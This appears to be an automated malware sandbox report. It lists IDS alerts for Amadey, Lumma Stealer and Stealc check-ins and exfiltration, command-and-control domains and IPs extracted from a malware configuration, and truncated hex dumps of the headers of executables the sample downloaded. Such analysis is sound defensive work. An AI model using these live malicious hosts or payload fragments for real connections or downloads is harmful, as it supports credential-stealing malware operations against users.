Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50001 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:50472 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50005 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:53511 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:52791 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:53992 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50008 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50006 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50011 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50010 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50015 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50020 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50022 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50023 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50028 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50033 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50032 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50037 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50043 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:63461 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:65047 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:52599 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50074 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50081 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50078 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50085 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50084 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50088 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50082 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50089 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50129 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50076 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:58525 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49712 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49729 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49949 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49949 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49939 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49939 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49958 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50008 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50008 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50037 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50074 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50074 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50089 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50078 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50006 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50085 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50076 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50076 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 36

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:38:15 GMTContent-Type: application/octet-streamContent-Length: 2750464Last-Modified: Thu, 31 Oct 2024 23:00:11 GMTConnection: keep-aliveETag: "67240bfb-29f800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 21 1f 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 74 6f 6b 71 65 6f 73 00 a0 29 00 00 a0 00 00 00 98 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 71 74 6e 74 68 6d 70 00 20 00 00 00 40 2a 00 00 04 00 00 00 d2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2a 00 00 22 00 00 00 d6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:38:22 GMTContent-Type: application/octet-streamContent-Length: 1968128Last-Modified: Thu, 31 Oct 2024 23:36:29 GMTConnection: keep-aliveETag: "6724147d-1e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4e 00 00 04 00 00 8f dc 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 0a 4e 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 0a 4e 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2c 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6f 64 6b 73 63 63 62 00 f0 1a 00 00 20 33 00 00 ec 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 6f 6a 71 62 6b 7a 00 10 00 00 00 10 4e 00 00 04 00 00 00 e2 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4e 00 00 22 00 00 00 e6 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:38:43 GMTContent-Type: application/octet-streamContent-Length: 2955264Last-Modified: Thu, 31 Oct 2024 23:36:09 GMTConnection: keep-aliveETag: "67241469-2d1800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 20 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 30 00 00 04 00 00 e9 49 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 6b 74 78 65 77 65 6b 00 60 2a 00 00 b0 05 00 00 5e 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6c 76 6a 78 79 72 63 00 10 00 00 00 10 30 00 00 04 00 00 00 f2 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 30 00 00 22 00 00 00 f6 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:38:53 GMTContent-Type: application/octet-streamContent-Length: 2123776Last-Modified: Thu, 31 Oct 2024 23:36:22 GMTConnection: keep-aliveETag: "67241476-206800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 30 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 72 00 00 04 00 00 98 54 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6f 7a 79 78 71 68 77 00 c0 19 00 00 60 58 00 00 b6 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6e 73 64 63 66 6a 75 00 10 00 00 00 20 72 00 00 06 00 00 00 40 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 72 00 00 22 00 00 00 46 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 23:39:02 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 22:59:44 GMTConnection: keep-aliveETag: "67240be0-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 0b 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 0c 46 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 